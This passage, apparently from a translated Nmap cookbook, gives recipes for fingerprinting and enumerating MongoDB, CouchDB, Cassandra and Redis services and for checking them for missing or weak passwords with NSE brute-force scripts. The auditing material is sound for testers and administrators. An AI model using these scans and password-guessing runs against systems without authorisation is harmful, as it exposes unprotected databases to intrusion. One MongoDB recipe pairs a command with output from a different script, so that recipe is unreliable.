在其他支持 NTLM 身份验证的协议(如 HTTP、IMAP、SMTP、TELNET、NNTP 和 POP3)中也可观察到前面描述的行为。如果这些协议中的任何一个启用了 NTLM 身份验证,那么在发送带有空凭证的身份验证请求时,它们就会披露 NetBIOS、DNS 和操作系统构建版本信息。我们还可以使用 NSE 脚本来快速使用此技术获取其他网络信息,如 http-ntlm-info、smtp-ntlm-info、telnet-ntlm-info、nntp-ntlm-info 和 pop3-ntlm-info。

检索 MongoDB 服务器信息

可以从 MongoDB 服务中提取构建信息,如系统详细信息和服务器状态,包括可用连接数、正常运行时间和内存使用情况。

本食谱介绍如何使用 Nmap 从 MongoDB 服务中检索服务器信息。

How to do it...

打开终端,输入以下 Nmap 命令:

$nmap -p27017 --script mongodb-info <target> 

MongoDB 服务器信息将包含在脚本输出部分:

 PORT STATE SERVICE 
 27017/tcp open mongodb 
 | mongodb-info: 
 | MongoDB Build info 
 | ok = 1 
 | bits = 64 
 | version = 1.2.2 
 | gitVersion = nogitversion 
 | sysInfo = Linux crested 2.6.24-27-server #1 SMP Fri Mar 12 01:23:09 UTC 2010 x86_64 BOOST_LIB_VERSION=1_40 
 | Server status 
 | mem 
 | resident = 4 
 | virtual = 171 
 | supported = true 
 | mapped = 0 
 | ok = 1 
 | globalLock 
 | ratio = 3.3333098126169e-05 
 | lockTime = 28046 
 | totalTime = 841385937 
 |_ uptime = 842 

How it works...

参数 -p 27017 --script mongodb-info 使 Nmap 在发现服务在端口 27017 上运行时启动 NSE 脚本 mongodb-info。 脚本 mongodb-info 由 Martin Holst Swende 编写。它返回服务器信息,包括状态和构建详情,包括操作系统、可用连接数、正常运行时间和内存使用情况。

There's more...

该脚本依赖于 mongodb 库,其文档和选项可在 http://nmap.org/nsedoc/lib/mongodb.html。

检测未启用身份验证的 MongoDB 实例

默认情况下,MongoDB 实例不启用访问控制。必须手动配置用户和角色并启用身份验证,才能保护实例中的数据库。因此,发现暴露的 MongoDB 数据库不需要身份验证的情况非常普遍。 本食谱介绍如何使用 Nmap 列出 MongoDB 中的数据库。

How to do it...

要列出 MongoDB 数据库,请输入以下命令:

$ nmap -p27017 --script mongodb-databases <target> 

数据库将显示在脚本输出部分:

 PORT STATE SERVICE 
 27017/tcp open mongodb 
 |_mongodb-brute: No authentication needed 

How it works...

如果发现 MongoDB 服务器在 27017 端口运行,我们就启动 NSE 脚本 mongodb-databases(-p 27017 --script mongodb-databases)。默认情况下,MongoDB 未启用身份验证。如果管理员没有配置用户和角色,任何人都可以访问数据库。

脚本 mongodb-brute 由 Patrik Karlsson 提交,可用于对 MongoDB 实例执行暴力密码验证。该脚本还能检测未启用身份验证的实例。

There's more...

该脚本依赖于 mongodb 库,其文档和选项可在 http://nmap.org/nsedoc/lib/mongodb.html 上找到。

列出 MongoDB 数据库

一个 MongoDB 安装可能会存储多个数据库。列出数据库清单对系统管理员和渗透测试人员都很有用,而且有一个 NSE 脚本可以轻松做到这一点。当我们没有客户端时,这尤其方便。

本食谱介绍如何使用 Nmap 列出 MongoDB 中的数据库。

How to do it...

要列出 MongoDB 数据库,请输入以下命令:

$ nmap -p27017 --script mongodb-databases <target> 

数据库将显示在脚本输出部分:

 PORT STATE SERVICE 
 27017/tcp open mongodb 
 | mongodb-databases: 
 | ok = 1 
 | databases 
 | 1 
 | empty = true 
 | sizeOnDisk = 1 
 | name = local 
 | 0 
 | empty = true 
 | sizeOnDisk = 1 
 | name = admin 
 | 3 
 | empty = true 
 | sizeOnDisk = 1 
 | name = test 
 | 2 
 | empty = true 
 | sizeOnDisk = 1 
 | name = nice%20ports%2C 
 |_ totalSize = 0 

How it works...

如果发现有 MongoDB 服务器在 27017 端口运行,我们就启动 NSE 脚本 mongodb-databases(-p 27017 --script mongodb-databases)。

脚本 MongoDB databases 由 Martin Holst Swende 提交,它试图列出 MongoDB 安装中的所有数据库。

There's more...

该脚本依赖于 mongodb 库,其文档和选项可在 http://nmap.org/nsedoc/lib/mongodb.html 上找到。

列出 CouchDB 数据库

CouchDB 安装可能包含多个数据库。Nmap 提供了一种列出可用数据库的简便方法,可供正在寻找有趣内容的渗透测试人员或可能需要监控恶意数据库的系统管理员使用。

本食谱将向您展示如何使用 Nmap 列出 CouchDB 服务器中的数据库。

How to do it...

要使用 Nmap 列出 CouchDB 服务器中的所有数据库,请输入以下命令:

$nmap -p5984 --script couchdb-databases <target> 

结果将包括在 couchdb-databases 输出部分返回的所有数据库:

 PORT STATE SERVICE VERSION 
 5984/tcp open httpd Apache CouchDB 0.10.0 (ErlangOTP/R13B) 
 | couchdb-databases: 
 | 1 = nmap 
 |_ 2 = packtpub 

How it works...

参数 -p5984 --script couchdb-databases 命令 Nmap 在发现有 CouchDB HTTP 服务在 5984 端口运行时启动 NSE 脚本 couchdb-databases。

脚本 couchdb-databases 由 Martin Holst Swende 编写,它列出了 CouchDB 服务中所有可用的数据库。它查询 URI /_all_dbs,并从返回的数据中提取信息,格式为

["nmap","packtpub"] 

There's more...

有关 CouchDB HTTP 使用的 API 的更多信息,请访问 http://wiki.apache.org/couchdb/HTTP_database_API。

检索 CouchDB 数据库统计数据

CouchDB HTTP 服务器可以返回对系统管理员来说非常宝贵的统计数据。这些信息包括每秒请求数、大小和其他有用的统计数据。幸运的是,Nmap 提供了检索这些信息的简便方法。

本食谱介绍如何使用 Nmap 检索 CouchDB HTTP 服务的数据库统计信息。

How to do it...

打开终端,使用以下命令运行 Nmap:

$nmap -p5984 --script couchdb-stats <target> 

结果将包含在脚本输出部分:

 PORT STATE SERVICE 
 5984/tcp open httpd 
 | couchdb-stats: 
 | httpd_request_methods 
 | PUT (number of HTTP PUT requests) 
 | current = 2 
 | count = 970 
 | GET (number of HTTP GET requests) 
 | current = 52 
 | count = 1208 
 | couchdb 
 | request_time (length of a request inside CouchDB without  MochiWeb) 
 | current = 1 
 | count = 54 
 | open_databases (number of open databases) 
 | current = 2 
 | count = 970 
 | open_os_files (number of file descriptors CouchDB has open) 
 | current = 2 
 | count = 970 
 | httpd_status_codes 
 | 200 (number of HTTP 200 OK responses) 
 | current = 27 
 | count = 1208 
 | 201 (number of HTTP 201 Created responses) 
 | current = 2 
 | count = 970 
 | 301 (number of HTTP 301 Moved Permanently responses) 
 | current = 1 
 | count = 269 
 | 500 (number of HTTP 500 Internal Server Error responses) 
 | current = 1 
 | count = 274 
 | httpd 
 | requests (number of HTTP requests) 
 | current = 54 
 | count = 1208 
 |_ Authentication : NOT enabled ('admin party') 

How it works...

参数 -p5984 --script couchdb-stats 告诉 Nmap,如果 CouchDB HTTP 服务器在端口 5984 上运行,就启动 NSE 脚本 couchdb-stats。

脚本 couchdb_stats 由 Martin Holst Swende 提交,它只执行检索 CouchDB HTTP 服务器运行时统计数据的任务。它的做法是请求 URI /_stats/,并解析服务器返回的序列化数据:

{"current":1,"count":50,"mean":14.28,"min":0,"max":114,"stddev":30.40068420 
282675,"description":"length of a request inside CouchDB without MochiWeb"} 

There's more...

如果发现安装未受身份验证保护,还应检查以下 URI:

  • /_utils/
  • /_utils/status.html
  • /_utils/config.html

有关 CouchDB HTTP 服务器运行时统计数据的更多信息,请访问 http://wiki.apache.org/couchdb/Runtime_Statistics。

检测未启用身份验证的 Cassandra 数据库

Cassandra 数据库默认情况下不启用身份验证。Apache Cassandra 数据库通常完全开放并可远程访问,因为必须手动配置身份验证和授权。

本食谱介绍如何使用 Nmap 检测未启用身份验证的 Apache Cassandra 实例。

How to do it...

要检测未进行身份验证的 Apache Cassandra 数据库,请使用以下 Nmap 命令:

$ nmap -p9160 --script cassandra-brute <target> 

如果未启用身份验证,将返回以下信息:

 PORT STATE SERVICE 
 9160/tcp open apanil 
 |_cassandra-brute: Any username and password would do, 'default' was 
 used to test 

How it works...

编写 cassandra-brute 脚本是为了执行暴力密码审计。由于 Apache Cassandra 默认未启用身份验证,因此经常会发现暴露的数据库。

如果发现 Cassandra 在 9160 端口上运行,上一条命令就会启动 NSE 脚本 cassandra-brute(-p 9160 --script cassandra-brute)。该脚本还能检测任何登录组合是否有效。

There's more...

The NSE script cassandra-brute depends on the brute library, which is highly configurable. Read Appendix B, Brute Force Password Auditing Options, to learn more about the advanced options available.

暴力破解 Redis 密码

Redis 不支持用户身份验证,只能通过密码保护。它也经常在没有密码的情况下被暴露。作为渗透测试人员,我们必须在每次看到该服务时检查是否存在弱密码或无身份验证。

本教程介绍如何使用 Nmap 对 Redis 执行暴力密码审计。

How to do it...

要对 Redis 执行暴力密码审计,请使用以下 Nmap 命令:

$ nmap -p6379 --script redis-brute <target> 

如果未启用身份验证,将返回以下信息:

 PORT STATE SERVICE 
 6379/tcp open unknown 
 |_redis-brute: Server does not require authentication 

How it works...

Redis 不支持用户身份验证,只能在配置时使用密码保护。但在现实生活中,会有很多实例没有密码。redis-brute 脚本旨在帮助对 Redis 执行暴力密码审计。该脚本还能检测无身份验证的实例,因此每次看到 Redis 6379 端口时,都必须运行该脚本。

在上一条命令中,如果 6379 端口打开 (-p6379),我们启动了 redis-brute 脚本(--script redis-brute)。该命令将使用 Nmap 的默认用户名和密码列表。请记住,您可以配置自己的用户名和密码列表以提高效率。不过,Nmap 的密码列表是测试弱凭据的良好开端。

There's more...

NSE 脚本 redis-brute 依赖于可高度配置的 brute 库。阅读附录 B "暴力密码审计选项",了解更多可用的高级选项。